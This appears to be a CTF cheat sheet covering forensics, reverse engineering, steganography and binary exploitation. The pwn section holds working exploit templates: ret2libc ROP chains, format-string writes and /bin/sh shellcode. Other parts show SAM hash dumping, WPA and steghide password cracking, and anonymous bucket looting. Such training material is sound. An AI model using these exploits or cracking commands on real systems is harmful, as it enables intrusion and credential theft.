python3 vol.py -f memory.dmp windows.pstree # process tree
python3 vol.py -f memory.dmp windows.cmdline # command lines used to launch processes
python3 vol.py -f memory.dmp windows.filescan | grep -i flag
python3 vol.py -f memory.dmp windows.dumpfiles --pid <PID> -D outdir/
python3 vol.py -f memory.dmp windows.netscan # network connections
python3 vol.py -f memory.dmp windows.registry.hivelist
python3 vol.py -f memory.dmp windows.registry.printkey --key "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
python3 vol.py -f memory.dmp windows.hashdump # dump SAM password hashes
python3 vol.py -f memory.dmp windows.malfind # find injected/suspicious code
python3 vol.py -f memory.dmp windows.memmap --pid <PID>
python3 vol.py -f memory.dmp windows.dumpfiles --physaddr <ADDR>

# Extract a process's memory to analyze as its own binary
python3 vol.py -f memory.dmp windows.memmap --pid <PID> --dump

# Linux memory
python3 vol.py -f memory.dmp linux.pslist
python3 vol.py -f memory.dmp linux.bash # recover bash history from memory!
python3 vol.py -f memory.dmp linux.pstree

# Volatility 2 (legacy, still seen in older CTFs) - requires --profile
volatility -f memory.dmp imageinfo # guess the profile
volatility -f memory.dmp --profile=Win7SP1x64 pslist
volatility -f memory.dmp --profile=Win7SP1x64 filescan
volatility -f memory.dmp --profile=Win7SP1x64 dumpfiles -Q 0x000000... -D out/
volatility -f memory.dmp --profile=Win7SP1x64 hivelist
volatility -f memory.dmp --profile=Win7SP1x64 hashdump -y <sys_offset> -s <sam_offset>

```

Tip: Always run `windows.info` / `imageinfo` FIRST to confirm the symbol table / profile before anything else, or every subsequent command will fail or return garbage.

2.5 Disk Image Forensics

BASH

```

# Identify partitions
fdisk -l disk.img
mmls disk.img # sleuthkit - list partitions with offsets

# Mount a raw disk image (read-only, offset = sector_start * sector_size)
mkdir /mnt/evidence
mount -o ro,loop,offset=$((2048*512)) disk.img /mnt/evidence

# Autopsy (GUI, full case management) - or CLI sleuthkit equivalents:
fls -r -o 2048 disk.img # list all files (incl. deleted, marked *)
icat -o 2048 disk.img <inode> > recovered_file # extract a file by inode
tsk_recover -o 2048 disk.img output_dir/ # recover all files

```

```
# Recover deleted files generically
photorec disk.img      # guided recovery wizard, great for deleted images/docs
testdisk disk.img      # partition table repair + file recovery

# Filesystem-specific (NTFS)
mmls disk.img
icat -o <offset> disk.img <MFT_entry>

# Search raw image for strings/flags without mounting
strings disk.img | grep -i flag
grep -a -o "flag{[^}]*}" disk.img
```

2.6 Network Forensics (PCAP Analysis)

BASH

```
# Wireshark - GUI, essential filters:
http                                # show only HTTP traffic
http.request.method == "POST"
tcp.port == 4444
ip.addr == 10.0.0.5
dns
ftp || ftp-data
tcp contains "flag"
frame contains "flag"

# File > Export Objects > HTTP -- dumps all files transferred over HTTP
# Follow > TCP Stream / UDP Stream / HTTP Stream on any packet - reconstructs full conversation

# tshark (CLI wireshark) - scriptable
tshark -r capture.pcap              # dump all packets
tshark -r capture.pcap -Y "http.request"      # filter like Wireshark display filters
tshark -r capture.pcap -Y "http" -T fields -e http.host -e http.request.uri
tshark -r capture.pcap --export-objects http,out_dir/  # extract HTTP objects
tshark -r capture.pcap -Y "ftp-data" -T fields -e data
tshark -r capture.pcap -z conv,tcp           # conversation/connection summary

# tcpdump for quick filtering
tcpdump -r capture.pcap -A             # ASCII output
tcpdump -r capture.pcap -X             # hex + ASCII
tcpdump -r capture.pcap "port 21"      # filter FTP

# Extract files from pcap automatically
foremost -i capture.pcap -o out/        # carve files straight from a pcap
NetworkMiner capture.pcap              # GUI, auto-extracts files/creds/sessions from pcap

# Extract credentials from cleartext protocols (FTP, HTTP Basic, Telnet)
tshark -r capture.pcap -Y "ftp.request.command==USER || ftp.request.command==PASS"
tshark -r capture.pcap -Y "http.authorization"

# Decrypt TLS if you have the key/keylog file
# Wireshark: Edit > Preferences > Protocols > TLS > (Pre)-Master-Secret log filename

# USB traffic (HID keystrokes) analysis
tshark -r capture.pcapng -Y "usb.capdata" -T fields -e usb.capdata
# Then decode HID scancodes to keystrokes with a Python USB-HID decoder script (ctf-usb-keyboard-parser)

# Analyzing a captured WiFi handshake for a WPA key
aircrack-ng -w rockyou.txt capture.cap
```

2.7 Log & Timeline Analysis

BASH

```
# Grep is your friend for auth logs, web access logs, etc.
```

```

grep -i "fail\\|error\\|flag" access.log
awk '{print $1}' access.log | sort | uniq -c | sort -nr    # top requesting IPs

# Windows Event Logs (.evtx)
python3 evt_dump.py Security.evtx > security.xml
# or in a GUI: Event Viewer if on Windows, or "EvtxECmd" (Eric Zimmerman tools)

# Windows Registry hive analysis (offline hives: SYSTEM, SOFTWARE, SAM, NTUSER.DAT)
reged / regripper -r SYSTEM -f system > out.txt
regripper -r NTUSER.DAT -f ntuser > out.txt

# Prefetch / shimcache / amcache (evidence of program execution) - Eric Zimmerman's tools (PECmd, AppCompatCacheParser)

```

2.8 Audio / Misc Forensics Utilities

- Sonic Visualizer / Audacity — view spectrogram (Analyze/Spectrogram view) for hidden visual/morse messages in audio.
- Morse code — decode by ear or via online/CLI morse decoders once you spot the pattern.
- QR codes hidden in images — `zbarimg image.png` to decode directly from CLI.
- Barcode — `zbarimg --raw barcode.png`

2.9 Mobile Forensics (Android / iOS)

```

BASH

adb devices
adb shell "su -c 'tar czf /sdcard/backup.tgz /data/data/com.target.app'"
adb pull /sdcard/backup.tgz
adb shell dumpsys package com.target.app    # installed app info
adb backup -f backup.ab com.target.app      # full app backup (older Android)
abe unpack backup.ab backup.tar             # convert .ab to a readable tarball

# iOS - if you have a filesystem/backup image, not a live device:
# iTunes-style unencrypted backup: iBackup Viewer / libimobiledevice tools
idevicebackup2 backup ./ios_backup

```

Check SQLite databases under `/data/data/<pkg>/databases/` (Android) or `Library/` (iOS backups) directly with `sqlite3 file.db ".dump"` — chat apps and browsers frequently leave plaintext history/messages there.

2.10 Cloud Forensics

```

BASH

aws s3 ls s3://bucket-name --no-sign-request    # anonymous access check
aws s3 sync s3://bucket-name ./loot --no-sign-request
gsutil ls gs://bucket-name                    # GCS equivalent
az storage blob list --container-name c --account-name a # Azure equivalent

```

CTFs that hand you cloud credentials or a bucket name are usually testing IAM/ACL misconfiguration — enumerate permissions (`aws sts get-caller-identity` , `aws iam list-attached-user-policies`) before assuming read-only.

2.11 Timeline Analysis Tools

```

BASH

log2timeline.py timeline.plaso disk.img    # Plaso - build a super-timeline
psort.py -o l2tcsv -w timeline.csv timeline.plaso

```

Timesketch (web UI) can ingest a `.plaso` file for collaborative, filterable timeline review — useful when a forensics challenge spans many artifact types (registry + logs + filesystem) at once.

2.12 Additional Memory/Disk Tool Alternatives

Purpose	Primary (from core)	Alternatives

Memory analysis	Volatility	Rekall (Google's fork, some unique plugins), MemProcFS (mount memory as a filesystem)
Disk/partition GUI	Autopsy	X-Ways Forensics (commercial), FTK Imager
Deleted-file carving	Photorec/Foremost	Scalpel, bulk_extractor
Windows artifact parsing	RegRipper	Eric Zimmerman's tools: <code>RECmd</code> , <code>PECmd</code> , <code>AppCompatCacheParser</code> , <code>MFTECmd</code> , all bundled via KAPE

2.13 Browser Forensics

BASH

```
sqlite3 History ".dump"          # Chrome/Edge history: %LocalAppData%\Google\Chrome\User Data\Default\History
sqlite3 places.sqlite ".dump"    # Firefox equivalent
hindsight.py -i "Default" -o output  # parses full Chrome profile (history, downloads, cookies...)
```

Check `IndexedDB` / `Local Storage` folders inside a browser profile too — web apps increasingly stash session tokens and app state there instead of cookies.

3. Reverse Engineering

3.1 Triage / Static First Look

BASH

```
# Identify the binary
file challenge

# ELF: architecture, dynamic/static, stripped or not
readelf -h challenge # ELF header (arch, entrypoint, type)
readelf -d challenge # dynamic section (linked libs)
readelf -S challenge # section headers
readelf -s challenge # symbol table
readelf -x .rodata challenge # hexdump of a specific section (find strings/consts)

# Quick security mitigations check (crucial before pwn too)
checksec --file=challenge

# Look at: RELRO, Stack Canary, NX, PIE, RUNPATH/RPATH

# List dynamic symbols/libs
ldd challenge # shared library dependencies
nm challenge # symbol table (if not stripped)
nm -D challenge # dynamic symbols only
objdump -T challenge # dynamic symbol table

# PE (Windows) equivalents
file challenge.exe
peframe challenge.exe # static analysis for suspicious imports/strings
pefile (python lib) or CFF Explorer / PE-bear (GUI) for header/import table/section inspection

# Strings, as always
strings -n 8 challenge | less
strings -n 8 challenge | grep -i "flag\|password\|key\|http"
```

3.2 Disassembly & Decompilation

objdump (always available, quick look)

BASH

```
objdump -d challenge # disassemble executable sections (AT&T syntax)
objdump -d -M intel challenge # Intel syntax (easier to read)
objdump -d -M intel challenge | grep -A 40 "<main>:" # disassemble just main
objdump -D challenge # disassemble ALL sections, not just code
objdump -s -j .rodata challenge # dump raw contents of .rodata (constants/strings)
```

radare2 / rizin (free, powerful, steep learning curve)

BASH

```
r2 -A challenge # open with full auto-analysis
# inside r2 shell:
aaa # analyze all (if not already done with -A)
afl # list all functions
pdf @ main # disassemble function "main" (print disassemble function)
pdg @ main # decompile (pseudo-C) function "main" (needs r2ghidra or r2dec plugin)
s main # seek to symbol main
s 0x400080 # seek to an address
px 64 # hexdump 64 bytes at current position
iz # list strings in binary
izz # list ALL strings (even outside string table)
ii # imports
ie # entrypoints
VV @ main # visual graph mode of function (great for logic flow)
```

```

d          # enter debug commands (or use r2 -d ./challenge)
db main    # set a breakpoint
dc         # continue execution
dr         # show registers
/ "flag"   # search for a string in the binary
wa nop @ 0x400123 # write assembly "nop" at address (patch the binary!)
wx 9090 @ 0x400123 # write raw hex bytes at address

```

Ghidra (free, best decompiler for offline/no-AI use)

1. File > New Project > Import File > select binary.
2. Double click it, let auto-analysis run with defaults (or enable all analyzers).
3. Window > Symbol Tree > Functions > double click `main`.
4. Right decompile pane shows pseudo-C. Use `L` to rename variables, Ctrl+L to retype.
5. Use Search > For Strings to find interesting constants/flags referenced in code.
6. Use Window > Defined Strings or Window > Symbol References to jump between xrefs.
7. Right-click a function > Edit Function Signature if Ghidra guesses arg types wrong.
8. For static binaries with many library functions, use Analysis > One Shot > Shared Return Analysis / Function ID to identify libc functions and skip past noise.
9. Scripting: Ghidra has a built-in Python/Java script manager (Window > Script Manager) for automating repetitive analysis (e.g., bulk XOR-decoding strings).

IDA Free / IDA Pro (if available)

- Open binary > default analysis options are fine for most CTF binaries.
- Space toggles graph/text view of a function.
- F5 (Hex-Rays decompiler, Pro only) gives pseudo-C directly - fastest workflow if you have it.
- X on a symbol/address shows cross-references (xrefs) - essential for tracing where a string/const is used.
- N to rename a variable/function; propagate names for readability.
- Strings window: Shift+F12.

Cutter (GUI frontend for radare2/rizin — good middle ground): Open binary, it auto-analyzes; has a built-in decompiler (ghidra plugin or built-in "r2dec"). Good if you want Ghidra-like decompilation with r2's scripting power.

3.3 Dynamic Analysis / Debugging

`gdb` + plugin (`gef` / `pwndbg` / `peda`) — THE standard Linux debugger

```

BASH

# install one plugin (gef shown, pwndbg/peda are similar workflow)
gdb ./challenge

# common gdb commands

break main          # or: b *0x400080 (address), b func_name
run                 # start execution
run < input.txt      # run with stdin redirected from a file
run arg1 arg2        # run with CLI arguments
continue / c        # resume after a breakpoint
next / n            # step over (source-line level)
step / s            # step into
nexti / ni          # step over (instruction level) - use this for asm-only debugging
stepi / si          # step into (instruction level)
info registers       # (gef: automatic context shown on every stop)
x/20xw $rsp         # examine 20 words in hex at the stack pointer
x/s $rax            # examine as a string
disassemble         # disassemble current function
disassemble main
print $rax          # print a register / expression
print/x variable_name
set variable x = 5   # modify a variable at runtime
watch variable_name  # break when a variable changes
finish              # run until current function returns
backtrace / bt       # call stack

# gef-specific superpowers
gef> checksec        # mitigations
gef> vmmmap          # memory map with permissions
gef> heap chunks     # visualize heap chunks (glibc)

```



```
gef> pattern create 200      # generate a De Bruijn cyclic pattern (find offset for overflow)
gef> pattern search $rsp     # find the offset that overwrote a given value/register
gef> got                    # show GOT entries
gef> context                # re-print the full context (regs/stack/disasm)
gef> telescope $rsp 20      # dereference-chain view of the stack

# attach to a running process
gdb -p <PID>
```

strace / ltrace — see what a binary DOES without reading assembly

BASH

```
strace ./challenge          # trace all syscalls (file access, network, etc.)
strace -f ./challenge       # follow forked children too
strace -e trace=network ./challenge # only network syscalls
strace -e trace=file ./challenge # only file-related syscalls
ltrace ./challenge          # trace library calls (strcmp, strcpy, malloc...) - great for spotting a password
check!
ltrace -S ./challenge       # both library AND syscalls
```

Patching binaries

BASH

```
# Quick patch with radare2 (write mode)
r2 -w challenge
> s 0x400123
> wa jmp 0x400200 # overwrite a jump/branch to skip a check
> wx 9090        # or just NOP out 2 bytes (0x90 0x90 for x86)

# Or use a hex editor directly if you know the byte offset
printf '\x90\x90' | dd of=challenge bs=1 seek=$((0x123)) conv=notrunc

# Ghidra can also patch via the "Patch Instruction" right-click option, then File > Export Program
```

3.4 Common Reversing Patterns / Tricks

- **XOR-encoded strings:** if strings shows garbage but the binary clearly prints text, look for a loop XOR-ing bytes against a key in the decompiled code - replicate it in Python.
- **Stripped binaries:** use `nm` / Ghidra's Function ID/BinDiff against a known libc version, or just work from `main`'s call graph outward.
- **Anti-debugging:** look for `ptrace(PTRACE_TRACEME, ...)` calls (fails if already being debugged) or timing checks (`rdtsc`). Patch these out (NOP the check) or use gdb's `catch syscall ptrace` + skip.
- **Packed binaries** (UPX etc): `upx -d challenge` to unpack before analysis. Detect with `strings challenge | grep -i upx` or high entropy from `binwalk -E`.
- **Static libc / no PIE:** makes addresses fixed across runs - convenient for hardcoding breakpoints/ROP later (also relevant to pwn).
- **Custom VM / bytecode challenges:** identify the dispatch loop (usually a switch on an opcode byte) and manually build an opcode table by reading each case; then write a Python emulator or trace with gdb watchpoints.
- **Comparisons against a flag byte-by-byte:** extremely common - just read off the compared constants directly from the decompiler output/rodata section.

3.5 Language-Specific Reversing

.NET (C#) binaries

BASH

```
dnSpy challenge.exe        # GUI - full decompile to C#, can even edit + recompile, and debug
ilspycmd challenge.exe     # CLI decompiler, dumps C# source
# For obfuscated .NET: de4dot challenge.exe (generic deobfuscator)
```

Java (.class / .jar)

BASH

```

jd-gui challenge.jar      # GUI decompiler
cfr challenge.class       # CLI: java -jar cfr.jar challenge.class
unzip -l challenge.jar    # inspect jar contents (it's a zip)
javap -c ClassName       # view raw bytecode/instructions
procyon -o outdir challenge.jar # another solid CLI decompiler

```

Python bytecode (.pyc)

BASH

```

uncompyle6 challenge.pyc  # Python <= 3.8 decompiler
decompyle3 challenge.pyc  # Python 3.7-3.8
pycdc challenge.pyc       # supports newer versions (build from source: github.com/zrax/pycdc)
# If you only have raw bytecode, use the dis module:
python3 -c "import dis, marshal; f=open('challenge.pyc','rb'); f.read(16); dis.dis(marshal.load(f))"

```

Android APK

BASH

```

apktool d app.apk -o app_decoded    # unpack resources + smali bytecode
jadx-gui app.apk                   # decompile straight to readable Java (best first step)
jadx app.apk -d output_dir          # CLI version
unzip -o app.apk -d app_unzipped    # inspect raw contents / classes.dex / AndroidManifest.xml
# Convert dex to jar for standard Java decompilers:
d2j-dex2jar.sh app.apk -o app.jar
# Then open app.jar in jd-gui / cfr

# Dynamic analysis: run in an emulator + Frida for hooking
frida -U -f com.example.app -l hook_script.js --no-pause

```

Go binaries

BASH

```

# Go binaries are statically linked & huge - identify Go version and use go-specific tooling
strings challenge | grep "go1\."
# Function names are often preserved even when "stripped" of debug info due to Go's runtime needing them
# Ghidra's Golang analyzer (built in, newer versions) auto-recovers function names/types

```

Rust binaries

BASH

```

# Demangle Rust symbol names
rustfilt < mangled_symbols.txt
echo "_ZN4core..." | rustfilt
# Otherwise same workflow as C/C++: Ghidra/IDA + look for panic! strings which often leak source paths/logic

```

3.6 Scripting the Solve (angr, z3, Python)

BASH

```

# angr - symbolic execution to auto-solve "find the right input" challenges
import angr, claripy
proj = angr.Project('./challenge', auto_load_libs=False)
flag_chars = [claripy.BVS(f'flag_{i}', 8) for i in range(30)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')])
state = proj.factory.entry_state(stdin=flag)
for c in flag_chars:
    state.solver.add(c >= 0x20, c <= 0x7e) # constrain to printable ASCII
simgr = proj.factory.simulation_manager(state)
simgr.explore(find=lambda s: b"Correct" in s.posix.dumps(1),
              avoid=lambda s: b"Wrong" in s.posix.dumps(1))

```

```

if simgr.found:
    found = simgr.found[0]
    print(found.posix.dumps(0))

# z3 - solve constraint/logic-based checks once you've extracted the equations manually
from z3 import *
s = Solver()
x = Int('x')
s.add(x * 3 + 7 == 100)
if s.check() == sat:
    print(s.model())

```

3.7 Firmware Reversing

BASH

```

binwalk -e firmware.bin          # extract filesystem(s) embedded in a firmware image
binwalk -E firmware.bin          # entropy scan to spot encrypted/compressed regions
unblob firmware.bin              # modern binwalk alternative, better auto-extraction
firmware-mod-kit / firmadyne     # unpack + emulate a router/IoT firmware image
qemu-system-arm -M versatilepb -kernel zImage -initrd rootfs.img -append "root=/dev/ram"

```

Look for a squashfs/jffs2/cramfs filesystem inside the extracted output; mount it read-only and grep for hardcoded credentials, private keys, or a web server's source.

3.8 Obfuscation & Deobfuscation

- **Control-flow flattening / opaque predicates:** look for a single giant `switch` on a "state" variable driving execution order — a hallmark of OLLVM-style obfuscation. Ghidra's decompiler output will look like spaghetti; consider symbolic execution (angr) to sidestep understanding every branch.
- **Packers:** `upx -d binary` for UPX; for custom packers, dump memory after the unpacking stub runs (breakpoint at the original entry point, OEP) and rebuild a loadable binary from the dump.
- **String/constant obfuscation:** identify the decode routine once (usually XOR/RC4/rolling-key against a table), then replicate it in a small Python script rather than reading every call site by hand.
- **de4dot** — generic .NET deobfuscator (handles many common obfuscators automatically).

3.9 Symbolic/Concolic Execution Alternatives

PYTHON

```

# angr (from core) is the default. Alternatives when angr struggles:

# Manticore - concolic execution, good for straightforward "find the right input" targets
manticore ./challenge

# Triton - dynamic symbolic execution framework, good for taint tracking + custom analysis
python3 triton_script.py

# KLEE - symbolic execution for LLVM bitcode (compile target to bitcode first with clang)
klee program.bc

```

3.10 Additional Decompiler / Disassembler Alternatives

Purpose	Primary (from core)	Alternatives
Decompiler (offline, free)	Ghidra	Binary Ninja (commercial, excellent IL/scripting), RetDec (<code>retdec-decompiler binary</code>), Snowman
Disassembler GUI	IDA	Hopper (macOS/Linux, cheaper)
r2 frontend	Cutter	—
.NET	dnSpy	ILSpy, dotPeek

3.11 Emulation for Cross-Architecture Binaries

BASH

```
qemu-x86_64 -L /usr/x86_64-linux-gnu ./challenge_x86 # run a foreign-arch binary natively
qemu-arm -L /usr/arm-linux-gnueabi ./challenge_arm
unicorn # CPU emulator framework for scripted/instruction-level emulation
```

4. Steganography

4.1 General Workflow

1. `file` and `exiftool` the file first - check for anomalies in metadata.
2. `binwalk` to check for embedded/appended files.
3. `strings` the whole file for a plaintext flag or a hint (password for next stage).
4. Compare file size vs expected size for its dimensions/duration - large deltas suggest hidden data.
5. If it's an image: try LSB extraction tools. If audio: check the spectrogram. If it's "too normal": check for a steganography password hidden elsewhere in the challenge (description, other files).

4.2 Image Steganography

BASH

```
# zsteg - best first tool for PNG/BMP LSB stego
zsteg image.png          # try all common techniques
zsteg -a image.png       # try ALL combinations (slower, thorough)
zsteg -E "b1,rgb,lsb,xy" image.png # extract a specific detected payload

# steghide - classic (JPG/BMP/WAV/AU), needs to know/guess the passphrase
steghide info image.jpg  # check if data is embedded (may ask for passphrase)
steghide extract -sf image.jpg # extract (prompts for passphrase, try empty first)
steghide extract -sf image.jpg -p "password" # with a known password
stegcracker image.jpg rockyou.txt # brute-force the steghide passphrase

# StegSolve (GUI, java) - flip through color planes/bit planes to spot patterns
java -jar stegsolve.jar
# File > Open, then use "Data Extract" for custom bit-plane/channel LSB extraction,
# and the arrows to cycle Red/Green/Blue/Alpha plane 0-7 and XOR views

# outguess (JPEG steganography)
outguess -r image.jpg output.txt

# exiftool - don't forget plain metadata comments!
exiftool image.jpg
exiftool -Comment image.jpg
exiftool -all image.jpg

# Manual LSB extraction in Python (when you need custom control)
from PIL import Image
img = Image.open("image.png")
pixels = list(img.getdata())
bits = ''.join(str(p[0] & 1) for p in pixels) # LSB of red channel
chars = [chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)]
print(''.join(chars))

# Compare two "identical looking" images pixel-by-pixel to find a diff-hidden flag
from PIL import Image, ImageChops
diff = ImageChops.difference(Image.open("a.png"), Image.open("b.png"))
diff.save("diff.png")

# GIF - check each frame individually, flag might be split across frames
convert image.gif frame_%03d.png # ImageMagick: split GIF into individual frames
```

4.3 Audio Steganography

- **Spectrogram analysis:** open in Sonic Visualizer or Audacity (Analyze > Plot Spectrum, or add a Spectrogram track) - text/QR/images are often drawn directly into the frequency spectrum.
- **Morse code in beeps:** listen/watch the waveform for short/long pulses.
- **DTMF tones** (phone keypad tones): use a DTMF decoder tool or online multi-frequency analyzer.
- **Sample rate / bit depth tricks:** LSB stego can be hidden in the audio samples themselves - similar Python LSB approach as images, applied to WAV sample arrays via `wave` / `scipy.io.wavfile`.

BASH

```
# Extract raw WAV sample LSBs in Python
import wave
w = wave.open('audio.wav', 'rb')
frames = bytearray(list(w.readframes(w.getnframes())))
bits = ''.join(str(b & 1) for b in frames)
chars = [chr(int(bits[i:i+8], 2)) for i in range(0, len(bits), 8)]
print(''.join(chars))

# Spek / sox to quickly generate a spectrogram from the CLI
sox audio.wav -n spectrogram -o spectrogram.png
```

4.4 Other Carriers

- **Whitespace steganography** in text files (trailing spaces/tabs encode bits): use `snow` tool - `snow -C -p password stegofile.txt`.
- **Zero-width characters** in "innocent" text/social posts: inspect with `cat -A file.txt` or a Unicode-aware hex viewer; there are online/CLI zero-width-char decoders.
- **PDF steganography**: hidden layers, embedded files, or JS - `pdf-parser.py`, `peepdf`, or just `exiftool`.
- **QR codes**: `zbarimg qr.png` to decode instantly.
- **Polyglot files** (valid as two formats at once, e.g. a PDF that's also a ZIP): `binwalk -e` usually pulls the second format straight out.

4.5 Video Steganography

BASH

```
ffmpeg -i video.mp4 frame_%04d.png # split into frames, then apply image-stego tools
ffprobe -show_streams -show_format video.mp4 # check for extra/hidden streams
mkvextract tracks video.mkv 0:audio.aac 1:subs.srt # pull out embedded subtitle/audio tracks
```

Also check the **audio track** of a video separately with the audio-stego workflow from §4.3 — flags are often hidden in the soundtrack, not the picture.

4.6 Additional Image Stego Tool Alternatives

Purpose	Primary (from core)	Alternatives
Steghide password cracking	stegcracker	stegseek (drastically faster, same rockyou-style wordlist attack): <code>stegseek image.jpg rockyou.txt</code>
All-in-one stego triage	zsteg + manual checks	StegoVeritas (<code>stegooveritas image.png</code> — runs many checks + LSB extraction automatically), <code>stegextract</code>
PNG structural repair/analysis	pngcheck	<code>pngcsum</code> for CRC fixing after manual byte edits

4.7 Polyglot Files (deeper)

BASH

```
binwalk -e file.jpg # a JPEG that's also a valid ZIP/PDF will show both
python3 polyglot-finder.py file # scripts exist to scan for known dual-format signatures
```

Manually check: does the file open correctly if you rename the extension to a second guess (`.zip`, `.pdf`, `.rar`)? Many polyglot challenges are solved just by trying `unzip file.jpg` directly.

4.8 Network/Protocol Steganography

Data can be hidden in unused protocol fields inside a provided pcap: IP **TTL** values encoding bits, ICMP **payload** padding, DNS query **subdomain** patterns (data exfil via DNS tunneling), or TCP **timestamp/sequence** fields. Extract the field of interest across all packets with `tshark -T fields -e <field-name>` and look for a non-random pattern.

4.9 Additional CTF Stego Oddities

- **Font-based stego:** custom/modified font files (`.ttf` / `.otf`) where kerning tables or glyph outlines encode data — inspect with `fonttools ttx -o out.ttx font.ttf` and diff against the original font.
- **PDF-specific stego tools:** `pdf-parser.py --raw` , `origami-pdf` (Ruby), and checking for hidden **PDF layers** (Optional Content Groups) that are invisible by default in most viewers.
- **Whitespace/zero-width in code files:** the same `snow` /zero-width-char tricks from §4.4 also show up hidden inside source code comments or commit messages, not just plain text files.

5. Binary Exploitation (Pwn)

5.1 First Checks

BASH

```
file challenge
checksec --file=challenge
# checksec output meaning:
# RELRO      Full/Partial/No -> whether GOT is writable (affects GOT overwrite attacks)
# Stack Canary found/not -> stack smashing detection present?
# NX         enabled/disabled -> can you execute shellcode on the stack?
# PIE        enabled/disabled -> are addresses randomized each run?
# RUNPATH    custom library search path (can hint at custom libc)

file challenge # arch (32/64-bit) determines register names & calling convention
```

5.2 pwntools — the standard exploit-dev framework

BASH

```
from pwn import *
context.binary = elf = ELF('./challenge')
context.log_level = 'debug'
context.arch = 'amd64' # or 'i386', 'arm', etc (auto-set from context.binary usually)

# local vs remote target toggle
io = process('./challenge') # run locally
# io = remote('target.hackrocks.com', 1337) # connect to remote service
# io = gdb.debug('./challenge', gdbscript='b main\ncontinue') # spawn under gdb automatically

# sending / receiving data
io.recvuntil(b'>')
io.recv(1024)
io.recvline()
io.sendline(b'payload')
io.send(b'raw bytes, no newline')
io.interactive() # drop to interactive shell once you have one

# packing addresses for payloads
p64(0xdeadbeef) # pack 64-bit little endian
p32(0xdeadbeef) # pack 32-bit little endian
u64(io.recv(8)) # unpack 8 bytes -> int (great for leaked addresses)
u32(io.recv(4))

# cyclic patterns to find a buffer overflow offset
cyclic(200) # generate 200-byte De Bruijn pattern
cyclic_find(0x61616161) # find offset of a crashed value from that pattern

# assemble shellcode inline
shellcode = asm(shellcraft.sh()) # generates shellcode that spawns /bin/sh
shellcode = asm(shellcraft.amd64.linux.sh())

# ELF helpers
elf.symbols['main'] # get address of a symbol
elf.got['puts'] # GOT entry address
elf.plt['puts'] # PLT stub address
elf.bss() # writable .bss address (useful scratch space)
```

5.3 Buffer Overflow / Stack Smashing Workflow

BASH

```
# 1. Find the offset to EIP/RIP with a cyclic pattern
```



```
python3 -c "from pwn import *; print(cyclic(200))" > /tmp/pattern
gdb ./challenge
> run < /tmp/pattern
> (crashes) info registers      # look at $rip / $eip - it will contain 4/8 bytes of the pattern
> pattern search 0x6161616c     # (gef/pwndbg command) tells you exact offset

# 2. Build the payload (classic ret2win - jump straight to a "win" function)
from pwn import *
elf = ELF('./challenge')
io = process('./challenge')

offset = 40      # from step 1
win_addr = elf.symbols['win']
payload = b'A' * offset + p64(win_addr)
io.sendline(payload)
io.interactive()

# NOTE for 64-bit: you often need a `ret` gadget before your target
# to keep the stack 16-byte aligned (movaps SSE instructions crash otherwise):
ret_gadget = 0x40101a # any single `ret` instruction
payload = b'A' * offset + p64(ret_gadget) + p64(win_addr)
```

5.4 ret2libc / ROP Chains

```
BASH

# When there's no "win" function, you chain libc gadgets to call system("/bin/sh")

# Find gadgets
ROPgadget --binary ./challenge | grep "pop rdi"
ropper --file ./challenge --search "pop rdi"
ropper --file ./challenge --search "pop rdi; ret"

# Build a classic ret2libc chain (64-bit)
from pwn import *
elf = ELF('./challenge')
libc = ELF('./libc.so.6')
io = process('./challenge')

pop_rdi = 0x0000000000401234 # from ROPgadget/ropper
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']

# Stage 1: leak libc's puts() address via the GOT, then loop back to main
payload = b'A'*offset
payload += p64(pop_rdi) + p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)
io.sendline(payload)
leaked = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = leaked - libc.symbols['puts'] # calculate libc base

# Stage 2: now call system("/bin/sh") with real libc addresses
bin_sh = next(libc.search(b'/bin/sh\x00'))
payload2 = b'A'*offset
payload2 += p64(pop_rdi) + p64(bin_sh)
payload2 += p64(libc.symbols['system'])
io.sendline(payload2)
io.interactive()

# one_gadget - find a single magic libc address that pops a shell directly (fewer constraints needed)
one_gadget libc.so.6
```

5.5 Format String Vulnerabilities

```
BASH
```

```
# Detection: pass %x %x %x %x or %p %p %p or %n as input and see if it leaks stack data / crashes
printf(user_input); // <- vulnerable pattern: user input used directly as format string

# Leak stack values
payload = b"%1$p %2$p %3$p %4$p" # %N$p leaks the Nth stack argument as a pointer

# Leak a specific string at a known address (put the address first, then reference its position)
payload = p64(target_addr) + b"%7$s" # adjust index N until it points at your injected address

# Arbitrary write with %n (writes # of bytes printed so far to the address given)
# pwntools has a helper for building these automatically:
from pwn import *
payload = fmtstr_payload(offset, {target_addr: value}) # offset = which %N$ position is YOUR data
io.sendline(payload)
```

5.6 Heap Exploitation (glibc)

- **UAF (Use-After-Free):** freed chunk pointer still usable -> reuse it to read/write freed memory or trigger type confusion.
- **Double-free:** freeing the same chunk twice corrupts the tcache/fastbin freelist -> can be leveraged for arbitrary allocation at attacker-chosen address.
- **Tcache poisoning:** overwrite the fd pointer of a freed tcache chunk to make the next `malloc()` return an attacker-chosen address.
- **House of ___ techniques** (House of Force, Orange, Spirit, etc.) - situational, look them up by glibc version once you've identified the primitive you have (search "how2heap" repo, it's the standard offline reference - clone it before the CTF).
- **gef heap commands:** `heap chunks`, `heap bins`, `heap chunk <addr>` for visualizing chunk metadata live.

5.7 Identifying the Right libc

```
BASH
```

```
# If the challenge gives you a libc.so.6, always use it explicitly (ELF('./libc.so.6')) - offsets differ per version.
# If no libc is given, identify it from leaked function addresses:
# libc-database (https://github.com/niklasb/libc-database) - clone in advance!
./find puts <leaked_offset>
./find system <leaked_offset>

# Or use libc.rip / online lookup if internet access is allowed by the CTF rules

# Patch a binary to use a specific local libc/ld for testing
patchelf --set-interpreter ./ld-2.31.so ./challenge
patchelf --replace-needed libc.so.6 ./libc-2.31.so ./challenge
pwninit # automates the above: downloads ld, patches binary, sets up template exploit.py
```

5.8 Shellcoding

```
BASH
```

```
# Handwritten x86_64 syscall shellcode for execve("/bin/sh", NULL, NULL)
from pwn import *
context.arch = 'amd64'
shellcode = asm('''
xor rsi, rsi
xor rdx, rdx
mov rbx, 0x68732f6e69622f2f
push rbx
mov rdi, rsp
mov rax, 59
syscall
''')

# Or let pwntools generate it
shellcode = asm(shellcraft.amd64.linux.sh())
```

```
# Encode/avoid bad bytes (e.g. no null bytes, no newlines) if the input is filtered
